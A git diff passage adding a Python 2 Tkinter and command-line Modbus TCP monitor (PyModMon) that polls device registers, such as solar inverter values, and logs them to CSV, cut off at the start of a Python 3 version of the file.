--type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L 